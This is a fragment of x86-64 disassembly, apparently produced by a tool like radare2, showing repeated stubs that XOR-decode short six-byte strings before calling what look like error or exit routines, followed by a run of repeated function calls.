nop
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x30]
call fcn.140025870
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400256b4
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor cl, 0x35
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b208
xor ecx, ecx
call fcn.140026c98
int3
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x30]
call fcn.140025870
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025706
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor cl, 0x35
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b208
xor ecx, ecx
call fcn.140026c98
int3
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x30]
call fcn.140025870
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140025758
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor cl, 0x35
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b208
xor ecx, ecx
call fcn.140026c98
int3
mov rdx, r9
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.140014c40
lea rdx, [rsp + 0x30]
call fcn.140025870
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400257aa
xor byte [rax], 0x30
xor byte [rax + 1], 0x31
xor byte [rax + 2], 0x32
xor byte [rax + 3], 0x33
xor byte [rax + 4], 0x34
xor cl, 0x35
mov byte [rax + 5], cl
mov rcx, rax
call fcn.14002b208
xor ecx, ecx
call fcn.140026c98
nop
call fcn.140026ed8
nop
call fcn.140026ed8
nop
call fcn.140026ed8
nop
xor ecx, ecx
call fcn.140026c98
nop
call fcn.140026ed8
int3
call fcn.140026ed8
nop
call fcn.140026ed8
nop
call fcn.140026ed8
nop
call fcn.140026ed8
nop
call fcn.140026ed8
nop
call fcn.140026ed8
nop
call fcn.140026ed8
nop
call fcn.14001a660
nop
call fcn.140026ed8
int3
call fcn.140026ed8
nop
call fcn.140026ed8
nop
call fcn.140026ed8
nop
call fcn.140026ed8
nop
call fcn.140026ed8
nop
call fcn.140026ed8
nop
call fcn.140026ed8
int3